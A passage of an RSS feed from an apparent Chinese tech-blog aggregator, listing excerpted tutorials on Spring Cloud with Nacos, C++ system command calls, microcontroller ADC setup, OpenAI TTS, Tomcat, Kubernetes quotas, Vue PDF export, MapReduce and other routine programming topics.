      <description>整合springcloud 和 springcloudalibaba，，，&#xA;版本对应关系&#xA;&amp;lt;dependencyManagement&amp;gt; &amp;lt;dependencies&amp;gt; &amp;lt;!-- 每个springcloud的工具都有一个版本 每个springcloud alibaba的工具都有一个版本 统一版本 --&amp;gt; &amp;lt;!-- 整合springcloud--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-dependencies&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;Hoxton.SR12&amp;lt;/version&amp;gt; &amp;lt;type&amp;gt;pom&amp;lt;/type&amp;gt; &amp;lt;scope&amp;gt;import&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;!-- 整合springcloud alibaba--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-alibaba-dependencies&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;0.9.0.RELEASE&amp;lt;/version&amp;gt; &amp;lt;type&amp;gt;pom&amp;lt;/type&amp;gt; &amp;lt;scope&amp;gt;import&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-dependencies&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;${spring-boot.version}&amp;lt;/version&amp;gt; &amp;lt;type&amp;gt;pom&amp;lt;/type&amp;gt; &amp;lt;scope&amp;gt;import&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; &amp;lt;/dependencyManagement&amp;gt; 使用nacos&#xA;&amp;lt;!--springcloud 里面的nacos--&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.cloud&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-cloud-alibaba-nacos-discovery&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 还有一个alibaba里面的nacos，，，区别：&#xA;alibaba里面的nacos，，不依赖于 Alibaba Cloud SDK ，，更加灵活的使用nacos&#xA;使用nacos 查看nacos对应的版本：&#xA;去下载对应的版本，并启动： 输入：http://localhost:8848/nacos&#xA;项目中引用nacos的包&#xA;配置文件 ,注册地址 spring: datasource: url: jdbc:mysql://localhost:3306/content_center hikari: username: root password: root driver-class-name: com.</description>
    </item>
    <item>
      <title>C&#43;&#43;执行系统命令的三种方式</title>
      <link>https://bchobby.github.io/posts/edeeb42838619c258ece335bb7971b4d/</link>
      <pubDate>Fri, 15 Dec 2023 21:11:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/edeeb42838619c258ece335bb7971b4d/</guid>
      <description>C++ 执行系统命令可以使用以下几种方法：&#xA;1. 使用 system() 函数 system() 函数会调用操作系统的命令行处理器（如 /bin/sh）来执行命令。该函数的语法如下：&#xA;int system(const char *command); 其中，command 参数指定要执行的命令。&#xA;例如，以下代码将执行 ls 命令：&#xA;#include &amp;lt;iostream&amp;gt; int main() { int status = system(&#34;ls&#34;); if (status != 0) { std::cout &amp;lt;&amp;lt; &#34;执行命令失败&#34; &amp;lt;&amp;lt; std::endl; } return 0; } system() 函数的返回值为命令的退出状态。如果命令执行成功，则返回值为 0。如果命令执行失败，则返回值为非 0 值。&#xA;2. 使用 popen() 函数 popen() 函数会创建一个管道，用于将命令的输入和输出与 C++ 程序进行连接。该函数的语法如下：&#xA;FILE *popen(const char *command, const char *mode); 其中，command 参数指定要执行的命令。mode 参数指定管道的模式，可以为 &#34;r&#34;、&#34;w&#34; 或 &#34;rw&#34;。&#xA;popen() 函数返回一个 FILE 指针，指向管道。可以使用 fread() 函数从管道中读取命令的输出，使用 fwrite() 函数向管道中写入命令的输入。</description>
    </item>
    <item>
      <title>chipon芯旺微KF32A156/150系列ADC模块的使用教程</title>
      <link>https://bchobby.github.io/posts/7b7fc35a214e0a4bc70287a1fe4cf9e7/</link>
      <pubDate>Fri, 15 Dec 2023 19:35:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7b7fc35a214e0a4bc70287a1fe4cf9e7/</guid>
      <description>请尊重原创，转载需要注明源出处！！！ hello大家好，今天主要来说一下芯旺微32位机的AD模块的使用。本篇文章较长，如有需要不同模式，请耐心仔细看完。首先看一下官方手册提供的AD模块的简介：&#xA;可以看到，AD模块对于常规的使用完全能够覆盖。我们最常用的也就是普通AD通道的采样方式。&#xA;AD普通通道同一个ADC模块可以同时配置16个普通通道和4个高优先级通道，在我们使用过程中，不建议两种通道混合使用，本篇以普通通道来讲解。&#xA;本次主要讲解三种模式：单通道采样，单通道循环采样，多通道单次扫描采样，多通道循环扫描采样。&#xA;说在前面：首先AD电路采样电压不建议超过VDDA的电压。&#xA;在进行软件配置之前：&#xA;首先要对引脚是否能够实现进行确认。通过数据手册的 模拟功能引脚表 进行查询，如图1&#xA;通过上图可以看到，144pin的第36脚可实现AD通道号96（ADC_CH96）。第44脚就无法实现AD通道的配置。&#xA;正文 使用说明：pin脚上的AD通道是属于硬件通道，这个标号是固定的，比如ADC_CH96，在每个ADC模块进行配置的时候，还需要进行配置采样通道标号（也就是前面说的一个ADC模块最多只能配置16个普通采样通道）。这个是通过软件自行配置。在后面的讲解中有所涉及，需要进行区分。&#xA;一、单通道采样配置(以PA1为例，轮询的方式查询结果)，此模式触发一次开始采一个通道结束。 老三步：配置引脚，配置外设，配置中断。&#xA;1、进行引脚模式配置：配置为模拟端口 GPIO_Write_Mode_Bits (GPIOA_SFR,GPIO_PIN_MASK_1, GPIO_MODE_AN); ADC_CH66 2、AD模块配置,这里关键参数，时钟，扫描模式失能，循环模式失能，触发源全部失能，通道长度为1，配置1个通道顺序号 ADC_InitTypeDef adcStruct; ADC_Reset (ADC0_SFR); //复位ADC外设并打开ADC的时钟 /* 初始化 ADC时钟源选择 */ adcStruct.m_Clock = ADC_HFCLK; /* 初始化 ADC时钟分频 */ adcStruct.m_ClockDiv = ADC_CLK_DIV_4; //4分频 /* 初始化 ADC扫描模式使能 */ adcStruct.m_ScanMode = FALSE; //扫描模式，一次触发只转换第一个通道 /* 初始化 ADC连续转换模式 */ adcStruct.m_ContinuousMode = ADC_SINGLE_MODE; //不使用连续转换功能，只对设置的通道采样一遍 /* 初始化 ADC转换结果输出格式 */ adcStruct.m_DataAlign = ADC_DATAALIGN_RIGHT; //转换的结果右对齐 /* 初始化 ADC常规通道外部触发转换模式使能 */ adcStruct.</description>
    </item>
    <item>
      <title>一键转换：使用OpenAI的Python脚本制作语音文件</title>
      <link>https://bchobby.github.io/posts/46b9b4cf5c35ca1b091a3cc7518e1d05/</link>
      <pubDate>Fri, 15 Dec 2023 19:30:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46b9b4cf5c35ca1b091a3cc7518e1d05/</guid>
      <description>这段 Python 代码演示了如何使用 OpenAI 的文本转语音（TTS）服务，将文本转换成语音并保存为音频文件。该脚本通过定义一个函数 generate_speech 来实现这一过程，该函数接收文本、语音模型、选定的声音和文件保存路径作为参数。&#xA;from pathlib import Path from openai import OpenAI # api文档:https://platform.openai.com/docs/guides/text-to-speech # 可以将独立与对话分开成两个语音，同时 def generate_speech(api_key, text, model, voice, file_path): &#34;&#34;&#34; 使用 OpenAI 的 TTS 生成语音，并保存到指定路径。 :param api_key: OpenAI 的 API 密钥。 :param text: 要转换为语音的文本。 :param voice: 选择的语音模型。 :param file_path: 保存语音文件的路径。 :return: 保存文件的路径。 &#34;&#34;&#34; client = OpenAI(api_key=api_key) response = client.audio.speech.create( model=model, voice=voice, input=text ) path = Path(file_path) with open(path, &#39;wb&#39;) as file: file.write(response.content) return f&#39;文件已保存到: {path}&#39; # 使用示例 api_key = &#39;&#39; text = &#34;</description>
    </item>
    <item>
      <title>Tomcat详解</title>
      <link>https://bchobby.github.io/posts/e185fe30d8935adb57fbe58695f51840/</link>
      <pubDate>Fri, 15 Dec 2023 18:23:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e185fe30d8935adb57fbe58695f51840/</guid>
      <description>目录 前言何为TomcatTomcat的下载方法JDK环境tomcat配置方法端口及应用程序位置配置数据源配置 context文件Tomcat的启动、关闭tomcat十个技巧Linux下设置Tomcat 下开机自启动 前言 环境：Windows apache-tomcat-9.0.37.tar.gz jdk-14.0.2&#xA;一下以Windows环境来讲解如何安装tomcat，如果你的是Linux环境，其大体上是一样的。&#xA;何为Tomcat Tomcat是Apache 软件基金会（Apache Software Foundation）的Jakarta 项目中的一个核心项目，由Apache、Sun 和其他一些公司及个人共同开发而成。因为Tomcat 技术先进、性能稳定，而且免费，因而深受Java 爱好者的喜爱并得到了部分软件开发商的认可，成为目前比较流行的Web 应用服务器。&#xA;Tomcat 服务器是一个免费的开放源代码的Web 应用服务器，属于轻量级应用服务器，在中小型系统和并发访问用户不是很多的场合下被普遍使用，是开发和调试JSP 程序的首选。Tomcat 实际上运行JSP 页面和Servlet。另外，Tomcat和IIS等Web服务器一样，具有处理HTML页面的功能，另外它还是一个Servlet和JSP容器，独立的Servlet容器是Tomcat的默认模式。不过，Tomcat处理静态HTML的能力不如Apache服务器。&#xA;Tomcat最初是由Sun的软件架构师詹姆斯•邓肯•戴维森开发的。后来他帮助将其变为开源项目，并由Sun贡献给Apache软件基金会。由于大部分开源项目O’Reilly都会出一本相关的书，并且将其封面设计成某个动物的素描，因此他希望将此项目以一个动物的名字命名。因为他希望这种动物能够自己照顾自己，最终，他将其命名为Tomcat（英语公猫或其他雄性猫科动物）。而O’Reilly出版的介绍Tomcat的书籍（ISBN 0-596-00318-8）的封面也被设计成了一个公猫的形象。而Tomcat的Logo兼吉祥物也被设计为一只公猫。&#xA;Tomcat的下载方法 Tomcat在https://tomcat.apache.org/官网下载，因为tomcat是Apache其下的产品。&#xA;JDK环境 Tomcat 需要jdk环境的支持，所以需要到Oracle的官网下载对应版本的jdk，并安装好jdk，配置JAVA_HOME环境变量。&#xA;tomcat配置方法 启动内存参数的配置&#xA;tomcat/bin/catalina.bat 如果是linux 就是 catalina.sh&#xA;在rem 的后面增加如下参数&#xA;set JAVA_OPTS= -Xms256m -Xmx256m -XX:MaxPermSize=64m&#xA;修改Tomcat的JDK目录&#xA;打开tomcat/bin/catalina.bat&#xA;在最后一个rem后面增加&#xA;set JAVA_HOME=C:\Program Files\Java\jdk1.8.0&#xA;增加虚拟目录&#xA;/tomcat/conf/server.xml&#xA;第一行是以前默认存在的，第二行是新增的&#xA;使用默认配置的tomcat,另外虚拟目录也可这设置:&#xA;因为默认情况下,tomcat启动过程中配置虚拟目录的时候会从 webapps目录下查找webContent应用。&#xA;这样配置好了，即使以后从一台服务器移植到另一台服务器，不做任何修改也能运行起来。&#xA;GET方式URL乱码问题解决&#xA;打开 tomcat/conf/server.xml&#xA;查找下面这部分，在最后增加一段代码就可以了。&#xA;................. URIEncoding=&#34;UTF-8&#34; useBodyEncodingForURI=&#34;true&#34; ............... /&amp;gt; 其中的UTF-8 请根据你的需要自己修改，比如GBK</description>
    </item>
    <item>
      <title>javascript中常用方法</title>
      <link>https://bchobby.github.io/posts/6ab7b19831555dc48d29f0f13ee60820/</link>
      <pubDate>Fri, 15 Dec 2023 16:59:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ab7b19831555dc48d29f0f13ee60820/</guid>
      <description> 1. .some()方法 let rolesm = [&#39;admin&#39;]; let roles = [&#39;admin&#39;,&#39;developer&#39;]; // let res = roles.some(role =&amp;gt; rolesm.includes(role)); function isper(username){ if(username == &#39;admin&#39;){ return true; } } let res = roles.some(isper); if(res){ console.log(res) console.log(&#34;success&#34;) }else{ console.log(&#34;err&#34;) } //输出结果 true success ~~~ </description>
    </item>
    <item>
      <title>QT之QGraphicsProxyWidget</title>
      <link>https://bchobby.github.io/posts/d2e666d3d26b9ec8f653a0a846697753/</link>
      <pubDate>Fri, 15 Dec 2023 16:40:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d2e666d3d26b9ec8f653a0a846697753/</guid>
      <description>文章目录 介绍例程 介绍 QGraphicsProxyWidget 是 Qt 图形框架中的类，它是 QGraphicsItem 的一个子类。这个类提供了一个方式来在 QGraphicsView 系统中嵌入自定义的 Qt 控件，而不需要直接从 QGraphicsItem 继承。&#xA;使用 QGraphicsProxyWidget 的主要优势在于它能够利用 Qt 的图形视图框架的所有功能，例如视图变换、场景和视图的互动、以及视图动画等。&#xA;以下是一些详细的用法：&#xA;1）创建和设置：你可以直接创建一个 QGraphicsProxyWidget 的实例，并通过 setWidget() 方法将其实例化，该方法接受一个 QWidget 类型的参数，你可以将需要嵌入的部件作为参数传入。&#xA;2）事件处理：QGraphicsProxyWidget 在两个对象之间转发事件，它不仅基于 QWidget 的整数型几何坐标，也基于 QGraphicsWidget 的浮点型几何坐标，进行转换。&#xA;3）功能支持：QGraphicsProxyWidget 支持 QWidget 的所有核心功能，包括Tab切换焦点、键盘输入、拖放和弹出窗口等。对于弹出窗口的处理，例如当嵌入的 QComboBox 显示其弹出列表时，会自动创建一个新的 QGraphicsProxyWidget ，嵌入弹出窗口并正确定位。&#xA;4）嵌套部件：你还可以嵌入复杂的小部件，例如带有子小部件的小部件。这些子部件也可以被代理，并嵌入到主部件中。&#xA;例程 #include &amp;lt;QGraphicsProxyWidget&amp;gt; #include &amp;lt;QGraphicsScene&amp;gt; #include &amp;lt;QGraphicsView&amp;gt; int main(int argc, char *argv[]) { QApplication a(argc, argv); QGraphicsScene scene; QGraphicsProxyWidget *proxy = new QGraphicsProxyWidget(); QWidget *widget = new QWidget(); widget-&amp;gt;setFixedSize(200, 200); // 在 QGraphicsProxyWidget 中嵌入自定义控件 proxy-&amp;gt;setWidget(widget); scene.</description>
    </item>
    <item>
      <title>对 K8s 中的 NameSpace的ResourceList进行加减操作</title>
      <link>https://bchobby.github.io/posts/e69159b909c321f244cdcaecaee8a369/</link>
      <pubDate>Fri, 15 Dec 2023 16:39:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e69159b909c321f244cdcaecaee8a369/</guid>
      <description>背景 需要将命名空间内新家的STS所使用的配额自动加到NameSpace上， 就需要对NameSpace的ResourceList做加减操作&#xA;计算STS配额参考：&#xA;https://blog.csdn.net/qq_21047625/article/details/134946922&#xA;将STS配额转为NameSpace的配额参考：&#xA;https://blog.csdn.net/qq_21047625/article/details/135020443&#xA;代码 import ( v1 &#34;k8s.io/api/core/v1&#34; &#34;k8s.io/apimachinery/pkg/api/resource&#34; ) var ( nsLabelArray []v1.ResourceName = []v1.ResourceName{&#34;requests.cpu&#34;, &#34;requests.memory&#34;, &#34;requests.storage&#34;, &#34;requests.nvidia.com/gpu&#34;, &#34;limits.cpu&#34;, &#34;limits.memory&#34;} ) func CalNsResourceList(data1 v1.ResourceList, data2 v1.ResourceList, calFunc func(resource.Quantity, resource.Quantity) resource.Quantity) (res v1.ResourceList) { res = v1.ResourceList{} for _, labelData := range nsLabelArray { req1 := data1[labelData] req2 := data2[labelData] resQuota := calFunc(req1, req2) if resQuota.CmpInt64(0) &amp;lt; 0 { resQuota.Set(0) } res[labelData] = resQuota } return } func AddNsResourceList(data1 v1.</description>
    </item>
    <item>
      <title>【深度学习】目标检测，实例分割，语义分割 逐一对比</title>
      <link>https://bchobby.github.io/posts/c60f1183bd1f19896f8a0f96ac9561b5/</link>
      <pubDate>Fri, 15 Dec 2023 16:28:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c60f1183bd1f19896f8a0f96ac9561b5/</guid>
      <description>提问：目标检测，实例分割，语义分割，有什么区别？ 目标检测（Object Detection），实例分割（Instance Segmentation）和语义分割（Semantic Segmentation）是计算机视觉领域中三个相关但有着不同任务和目标的问题。下面是它们的简要区别：&#xA;目标检测（Object Detection）：&#xA;任务描述： 目标检测的任务是在图像或视频中定位和识别多个对象，并为每个对象提供边界框（Bounding Box）。输出： 输出是一组边界框，每个边界框都标识了图像中的一个对象，通常还包括对象的类别标签。 实例分割（Instance Segmentation）：&#xA;任务描述： 实例分割不仅要求定位和识别对象，还需要为每个对象中的每个像素分配一个特定的标签，以区分不同的实例。输出： 输出是一组分割掩码，其中每个掩码对应于一个对象的实例，标识了对象的像素级别的位置。 语义分割（Semantic Segmentation）：&#xA;任务描述： 语义分割的任务是将图像分成多个语义区域，每个区域具有相同的语义标签，即将图像中的每个像素分类为属于特定的类别。输出： 输出是一张图像，每个像素都被赋予一个语义类别标签。 总结：&#xA;目标检测： 关注在图像中检测和定位多个对象，输出是边界框和类别标签。实例分割： 不仅关注对象的定位和识别，还关注对象的像素级别分割，输出是每个对象的分割掩码。语义分割： 关注将图像分成多个语义区域，每个像素都被分配一个语义类别标签。 实例分割和语义分割 的区别 让我们通过更具体的示例来更详细地解释实例分割和语义分割之间的区别：&#xA;语义分割（Semantic Segmentation）：&#xA;任务描述： 将图像中的每个像素分类为属于特定的语义类别。每个像素都被标记为图像中的一个对象或区域，但不区分这些对象或区域是否属于不同的实例。示例： 如果图像中有一只猫和一只狗，语义分割将为图像中的每个像素分配“猫”或“狗”的标签，但不区分它们属于不同的独立实例。 实例分割（Instance Segmentation）：&#xA;任务描述： 除了对图像中的每个像素进行语义分割外，实例分割还需要区分不同对象的不同实例。这意味着为每个独立的对象分配一个唯一的标识，即使它们属于相同的语义类别。示例： 如果图像中有两只猫和一只狗，实例分割将为每只猫和狗分配不同的标识，并提供每个对象的像素级别分割。 总结：&#xA;语义分割： 关注对图像中每个像素进行语义分类，不区分同一语义类别内的不同实例。实例分割： 除了对图像中每个像素进行语义分类外，还区分不同对象的不同实例，为每个对象提供唯一标识。 目标检测和实例分割有啥区别？ 目标检测（Object Detection）和实例分割（Instance Segmentation）是计算机视觉中两个相关但有着不同任务的问题。&#xA;目标检测：&#xA;任务描述： 目标检测的任务是在图像或视频中检测并定位多个对象，并为每个对象提供一个边界框（Bounding Box）。目标检测不区分不同对象的实例，只关注对象的存在和位置。输出： 输出是一组边界框，每个边界框表示图像中的一个对象，通常还包括对象的类别标签。 实例分割：&#xA;任务描述： 实例分割不仅要求检测和定位对象，还需要为每个对象的每个像素分配一个唯一的标签，以区分不同对象的不同实例。实例分割不仅提供对象的位置，还提供每个对象的像素级别的分割。输出： 输出是一组分割掩码，其中每个掩码对应于一个对象的实例，标识了对象的像素级别的位置。 总结：&#xA;目标检测： 关注在图像中检测和定位多个对象，输出是边界框和类别标签。不提供对象的像素级别分割。实例分割： 不仅关注对象的定位，还区分不同对象的不同实例，提供每个对象的像素级别分割掩码。 要区分两者的关键是，目标检测提供对象的粗略位置信息（边界框），而实例分割提供更详细的对象分割，包括每个对象的像素级别标签。&#xA;瑕疵检测，应该用哪一种？ 瑕疵检测通常涉及到检测图像中的异常或缺陷。选择使用目标检测、实例分割还是语义分割取决于您的具体需求和问题的性质。以下是一些建议：&#xA;目标检测：&#xA;适用情况： 如果您希望检测图像中的多个不同类型的瑕疵，并为每个瑕疵提供边界框和类别标签。优点： 目标检测适用于多个对象的场景，每个对象可能具有不同的类别。这使得它对于检测图像中的多个不同类型的瑕疵非常有效。 实例分割：&#xA;适用情况： 如果您希望检测并精确分割图像中的每个瑕疵实例。优点： 实例分割适用于需要区分不同实例的场景。如果同一类型的瑕疵可以同时出现在图像中，并且您需要对它们进行独立的分析和处理，则实例分割可能是一个更好的选择。 语义分割：</description>
    </item>
    <item>
      <title>嵌入式系统挑战赛题目----简单栈数据结构</title>
      <link>https://bchobby.github.io/posts/cffa39e52983f9353beeac9e6db7de1a/</link>
      <pubDate>Fri, 15 Dec 2023 15:41:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/cffa39e52983f9353beeac9e6db7de1a/</guid>
      <description>一、题目要求&#xA;实现一个简单的栈数据结构。栈是一种后进先出线性数据结构，只能在一端进行插入和删除操作。请编写一个C语言程序，实现包括栈的初始化、入栈、出栈以及判断栈是否为空等基本操作。&#xA;请根据要求在begin、end间完成代码，不要改变代码中其他部分。&#xA;示例输入和输出：&#xA;Is stack empty?No&#xA;Popped element: 30&#xA;Is stack empty?No&#xA;二、程序代&#xA;#include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdbool.h&amp;gt; #define MAX_SIZE 100 typedef struct { int data[MAX_SIZE]; int top; } Stack; void initStack(Stack *stack) { stack-&amp;gt;top = -1; // 初始化栈顶指针为-1 } bool isStackEmpty(Stack *stack) { ///Begin/// // 如果栈顶指针为-1，则栈为空 if(stack-&amp;gt;top==-1) return 1; else return 0; End } bool isStackFull(Stack *stack) { return (stack-&amp;gt;top == MAX_SIZE - 1); // 如果栈顶指针等于最大容量减1，则栈为满 } void push(Stack *stack, int value) { if (isStackFull(stack)) { printf(&#34;</description>
    </item>
    <item>
      <title>Vue基于html2canvas和jspdf生成pdf文件，解决jspdf中文乱码及自动换行等问题</title>
      <link>https://bchobby.github.io/posts/f0cfff51f70711f682ff1b04323a731e/</link>
      <pubDate>Fri, 15 Dec 2023 15:41:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f0cfff51f70711f682ff1b04323a731e/</guid>
      <description>在做项目时有这么一个需求，需要将当前页面指定区域的内容导出pdf到本地。借助了两个插件分别是html2canvas.js和pdf.js来实现。使用过程中遇到的问题及解决方法&#xA;解决一些问题：&#xA;导出按A4纸大小排列预留页面边距的问题内容过多自动分页的问题直接使用jspdf中文乱码的问题直接使用jspdf文本自动换行的问题 安装依赖 将页面转换成图片&#xA;html2canvas 的作用就是根据 DOM 生成对应的图片。它的屏幕截图是基于 DOM 的，因此可能不会 100% 精确到真实的表示，因为它不会生成实际的屏幕截图，而是基于页面上可用的信息构建屏幕截图。 npm install html2canvas --save 将图片导出成PDF&#xA;JSPDF是一个JavaScript库，用于生成PDF文档。它可以直接在浏览器中生成PDF，也可以通过Node.js在服务器端生成PDF。JSPDF具有高度的自定义性和可扩展性，可以用于各种PDF生成需求。 npm install jspdf --save 具体使用 1、页面中创建一个容器ref=“contenterPdf” &amp;lt;template&amp;gt; &amp;lt;div&amp;gt; &amp;lt;div ref=&#34;contenterPdf&#34;&amp;gt; &amp;lt;img alt=&#34;Vue logo&#34; src=&#34;../assets/logo.png&#34; /&amp;gt; &amp;lt;div&amp;gt;JSPDF是一个用于生成PDF文件的客户端JavaScript库。它提供了简单易用的API，使得我们可以在浏览器端创建PDF文件。相比于服务端生成PDF文件，使用JSPDF可以避免服务端的压力，并且能够实现更多的交互与设计效果。基于JSPDF，我们可以生成包括图表、表格、文字、图片、图形等各种元素的PDF文档，同时也可以设置字体、颜色、边框等多种属性来调整文档的样式。&amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;button @click=&#34;handleExport&#34;&amp;gt;导出PDF文件&amp;lt;/button&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; 2、创建/utils/htmlToPdf.js文件 import html2canvas from &#34;html2canvas&#34;; import jsPDF from &#34;jspdf&#34;; export const downloadPDF = page =&amp;gt; { html2canvas(page, { useCORS: true, //允许canvas画布内 可以跨域请求外部链接图片, 允许跨域请求。 allowTaint: true, //允许跨域 scale: 2, 设置放大倍数 backgroundColor: &#39;#ffffff&#39;//背景色 }).</description>
    </item>
    <item>
      <title>大数据毕业设计：Python电影数据采集分析可视化系统✅</title>
      <link>https://bchobby.github.io/posts/08d0215d5eb938b5265cbf8db4655fcd/</link>
      <pubDate>Fri, 15 Dec 2023 15:27:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/08d0215d5eb938b5265cbf8db4655fcd/</guid>
      <description>🍅大家好，今天给大家分享一个Python项目，感兴趣的可以先收藏起来，点赞、关注不迷路，大家在毕设选题，项目以及论文编写等相关问题都可以给我留言咨询，希望帮助同学们顺利毕业 。🍅&#xA;1、项目介绍 Python语言、Flask框架、MySQL数据库、Echarts可视化、网络爬虫技术、豆瓣电影数据、requests爬虫框架、HTML&#xA;基于Flask电影数据采集可视化系统是一款利用Python的Flask框架，对电影相关数据进行采集、整理和可视化展示的应用系统。&#xA;2、项目界面 （1）系统首页----数据概况&#xA;（2）电影数据&#xA;（3）电影拍摄地点分析、电影语言分析&#xA;（4）评分分析、豆瓣评分星级、年度评价评分分析&#xA;（5）电影时长分布、电影数量统计分析&#xA;（6）电影类型饼图&#xA;（7）词云图分析&#xA;（8）数据采集爬虫&#xA;3、项目说明 基于Flask电影数据采集可视化系统是一款利用Python的Flask框架，对电影相关数据进行采集、整理和可视化展示的应用系统。以下是该系统的主要介绍：&#xA;数据采集：系统利用网络爬虫技术，从电影相关网站上获取电影信息。这些信息包括电影名称、导演、演员、评分、票房、发行日期、类型等。用户可以根据个人需求，设置搜索的关键词、时间范围、地区限制等参数，以获取感兴趣的电影信息。&#xA;数据处理：系统对采集到的电影数据进行清洗、整理和转换，以确保数据的准确性和一致性。包括处理缺失值、异常值和重复值，进行数据格式转换等操作。&#xA;数据可视化：系统使用Python中的数据可视化库（如Matplotlib、Seaborn等），将电影数据以图表、图形等形式直观地展示出来。包括电影类型分布、票房排行榜、评分分布等。同时，用户可以根据自己的需求进行图表的定制和设置，以满足个性化的展示需求。&#xA;用户交互：系统提供友好的用户界面和交互设计，用户可以搜索、排序、过滤，选择不同的时间范围、地区、类型等维度，获取感兴趣的数据和分析结果。用户还可以根据展示效果进行图表的调整和定制。&#xA;数据分析：系统还可以利用Python中的数据分析库（如Pandas等），对电影数据进行统计和分析，例如：评分和票房之间的关系，不同类型电影的市场占比，不同导演或演员的平均评分等。这些分析结果可以帮助用户更全面地了解电影市场的状况和变化。&#xA;综上所述，基于Flask电影数据采集可视化系统是一款利用Python技术进行开发的应用系统，旨在通过数据可视化和分析提供电影市场的信息和趋势。该系统可以帮助用户更直观地了解电影市场的情况，同时也对电影从业者、研究人员等提供有价值的参考信息。该系统通过友好的用户界面和交互设计，使得用户可针对个人需求进行定制，是一款十分实用的电影数据可视化工具。&#xA;4、部分代码 import json from flask import Flask,request,render_template,session,redirect import re from utils.query import querys from utils.homeData import * from utils.timeData import * from utils.rateData import * from utils.addressData import * from utils.typeData import * from utils.tablesData import * from utils.actor import * from word_cloud_picture import get_img import random app = Flask(__name__) app.</description>
    </item>
    <item>
      <title>Mapreduce小试牛刀(2)--java api</title>
      <link>https://bchobby.github.io/posts/596bd88e6ffd28cb044997ce741572a8/</link>
      <pubDate>Fri, 15 Dec 2023 15:16:12 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/596bd88e6ffd28cb044997ce741572a8/</guid>
      <description>1.同hdfs 的java api,我们首先要在IDE中建立一个maven项目&#xA;pom.xml中配置如下：&#xA;&amp;lt;dependencies&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.hadoop&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;hadoop-mapreduce-client-common&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.3.4&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.hadoop&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;hadoop-mapreduce-client-jobclient&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.3.4&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.apache.hadoop&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;hadoop-client&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;3.3.4&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.slf4j&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;slf4j-log4j12&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;1.7.30&amp;lt;/version&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;junit&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;junit&amp;lt;/artifactId&amp;gt; &amp;lt;version&amp;gt;4.13.2&amp;lt;/version&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; &amp;lt;/dependencies&amp;gt; ---------------------------------------------------------------------------------------------------------------------------------&#xA;2. 编写java 代码，重写map与reduce类（我们以最经典的wordcount为例）&#xA;第一步，建立java目录，建立一个叫test的包(可写可不写，看自己喜好)&#xA;第二步，导入hadoop包，以及其他所需的包&#xA;package test; import java.io.IOException; import java.util.*; import org.apache.hadoop.fs.Path; import org.apache.hadoop.io.*; import org.apache.hadoop.mapred.*; 第三步，重写map,resuce方法&#xA;1.map方法，目的在于切割文章内容为一对对键值对，实现map-reduce中的map过程&#xA;class Map extends MapReduceBase implements Mapper&amp;lt;LongWritable, Text, Text, IntWritable&amp;gt; { //前两个为输入类型，第一个数据类型表示首行偏移量；后两个为输出类型，输出为键值对类型 private final static IntWritable one = new IntWritable(1); //IntWritable实例对象初始化为1 private Text word = new Text(); public void map(LongWritable key, Text value, OutputCollector&amp;lt;Text, IntWritable&amp;gt; output, Reporter reporter) throws IOException { String line = value.</description>
    </item>
    <item>
      <title>mybatisPlus属性自动填充配置之MetaObjectHandler接口实战</title>
      <link>https://bchobby.github.io/posts/9bf96bb5afc2096a540f42351882575e/</link>
      <pubDate>Fri, 15 Dec 2023 15:05:48 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9bf96bb5afc2096a540f42351882575e/</guid>
